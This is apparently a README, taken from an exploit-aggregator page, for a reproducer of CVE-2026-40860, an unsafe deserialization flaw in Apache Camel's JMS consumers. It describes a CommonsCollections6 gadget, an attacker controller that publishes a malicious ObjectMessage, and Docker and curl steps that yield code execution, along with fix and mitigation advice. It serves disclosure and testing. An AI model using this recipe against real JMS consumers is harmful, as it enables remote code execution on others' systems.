## https://sploitus.com/exploit?id=8E0B8D72-3CB0-5BE2-8855-826D1289F52E
# camel-jms JMS ObjectMessage Unsafe Deserialization Reproducer (CVE-2026-40860)
This project demonstrates a **Java deserialization vulnerability** in Apache Camel's `camel-jms` component
(and, transitively, `camel-sjms`, `camel-sjms2`, `camel-amqp`, `camel-activemq`, `camel-activemq6`),
tracked as **CVE-2026-40860**. `JmsBinding.extractBodyFromJms()` deserializes the payload of an incoming
JMS **`ObjectMessage`** via `ObjectMessage.getObject()` with **no `ObjectInputFilter`**, class allow-list
or deny-list. Because this runs whenever `mapJmsMessage=true` (the default) and Camel is a JMS **consumer**,
an attacker able to publish a crafted `ObjectMessage` to a consumed queue/topic can achieve **remote code
execution** when a gadget chain is on the classpath.
Advisory: https://camel.apache.org/security/CVE-2026-40860.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Components** | `camel-jms` (+ `camel-sjms`, `camel-sjms2`, `camel-amqp`, `camel-activemq`, `camel-activemq6`) |
| **Affected Class** | `org.apache.camel.component.jms.JmsBinding#extractBodyFromJms` โ `jakarta.jms.ObjectMessage#getObject()` |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Impact** | Remote Code Execution (RCE) |
| **Trigger** | Camel JMS consumer + `mapJmsMessage=true` (default) + an `ObjectMessage` the attacker can enqueue |
| **Affected Versions** | From 3.0.0 before 4.14.7, from 4.15.0 before 4.18.2, from 4.19.0 before 4.20.0 |
| **Fixed Versions** | 4.14.7, 4.18.2, 4.20.0 |
| **JIRA** | CAMEL-23321 |
| **Reporter** | Venkatraman Kumar (Securin) |
## Technical Details
```java
// JmsBinding.extractBodyFromJms(Exchange, Message) - affected version
if (message instanceof ObjectMessage objectMessage) {
Object payload = objectMessage.getObject(); // *this check runs **after** the JMS provider has already deserialized the payload. It prevents unexpected
> classes from being propagated to the route, but it cannot, on its own, stop gadget chains whose
> `readObject()` fires inside the provider's `ObjectInputStream`. Complete protection requires configuring
> the JMS provider's own deserialization filter and/or the JVM-wide `-Djdk.serialFilter`.*
So full protection = **upgrade Camel + constrain the provider / JVM filter**. This PoC uses an ActiveMQ
client with `trustAllPackages=true` (a common real-world setting) so the provider deserializes the payload;
on an affected Camel version nothing else stands in the way.
## The victim route
```java
from("jms:queue:evil") // mapJmsMessage defaults to true
.log("Consumed: ${body.class.name}");
```
Merely **receiving** the `ObjectMessage` triggers the deserialization โ the route body is irrelevant.
## Repository layout โ attacker vs. victim
The **victim** is the Camel JMS consumer. The **attacker** is any producer that can publish to the queue.
Both talk to a real **Apache ActiveMQ Artemis** broker running in Docker.
```
CVE-2026-40860/
โโโ pom.xml # camel-jms 4.18.1 + activemq-client 6.2.4 + commons-collections 3.2.1 (gadget)
โโโ Dockerfile # runs the app (--add-opens only to build the gadget)
โโโ docker-compose.yml # Artemis broker (quay.io) + the reproducer app
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ JmsConfig.java # OpenWire ConnectionFactory (trustAllPackages=true) + jms component
โ โโโ VictimRoute.java # victim: from("jms:queue:evil")
โ โโโ Gadget.java # CommonsCollections6 gadget, fires during getObject()
โ โโโ ExploitController.java # attacker: publishes ObjectMessage(gadget) to the queue
โโโ resources/
โโโ application.properties
```
> In a real attack the serialized bytes are produced offline by the attacker (e.g. with **ysoserial**);
> only the **victim** needs the gadget chain on its classpath. This PoC builds the gadget in-process for
> convenience, which is why the JVM runs with `--add-opens java.base/java.util=ALL-UNNAMED` โ a
> gadget-construction detail, unrelated to the vulnerability.
## Prerequisites
- Java 17+ and Maven 3.8+
- Docker (runs the broker and the app)
## Reproduction Steps
### Step 1: Build and start everything
```bash
mvn clean package -DskipTests
docker compose up -d --build
```
This starts an Artemis broker (`quay.io/artemiscloud/activemq-artemis-broker`) and the reproducer app,
which connects to it over OpenWire.
### Step 2: Trigger the deserialization (RCE)
```bash
curl -s http://localhost:8080/exploit/attack
# -> ObjectMessage published to queue 'evil'.
# camel-jms consumer called ObjectMessage.getObject() -> deserialization.
#
# >>> RCE proof โ /tmp/pwned exists: true
```
### Step 3: Verify
```bash
docker exec cve-2026-40860 ls -la /tmp/pwned
```
### Cleanup
```bash
docker compose down
```
## Attack Vectors
Any Camel JMS **consumer** (`camel-jms`, `camel-sjms`, `camel-sjms2`, `camel-amqp`, `camel-activemq`,
`camel-activemq6`) reading from a destination an attacker can publish to โ a shared broker, a topic with
open producers, a queue fed by an untrusted upstream โ with `mapJmsMessage=true` (the default).
## Exploit Conditions
1. A Camel JMS consumer with `mapJmsMessage=true` (default).
2. The attacker can enqueue an `ObjectMessage` to the consumed destination.
3. The JMS provider deserializes the payload (e.g. ActiveMQ `trustAllPackages=true`, or a provider without
a restrictive filter).
4. **A gadget library on the classpath** (here `commons-collections:3.2.1`).
## Recommended Fix
Upgrade to **4.14.7 / 4.18.2 / 4.20.0**, **and** constrain deserialization end-to-end:
- Set a JVM-wide allow-list: `-Djdk.serialFilter=java.**;org.apache.camel.**;!*` (or the endpoint's new
`deserializationFilter` option).
- Configure the **JMS provider's own** deserialization filter (e.g. ActiveMQ `trustedPackages`, do **not**
use `trustAllPackages=true`).
## Mitigation
Until upgrading:
1. Prefer non-`ObjectMessage` payloads; set `mapJmsMessage=false` where the raw message is acceptable.
2. Lock down the JMS provider's trusted packages; never `trustAllPackages=true` on untrusted destinations.
3. Apply `-Djdk.serialFilter`.
4. **Remove gadget libraries** from the classpath (upgrade/remove commons-collections 3.x and similar).
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly
disclosed and fixed** vulnerability. Do not use it against systems without explicit permission.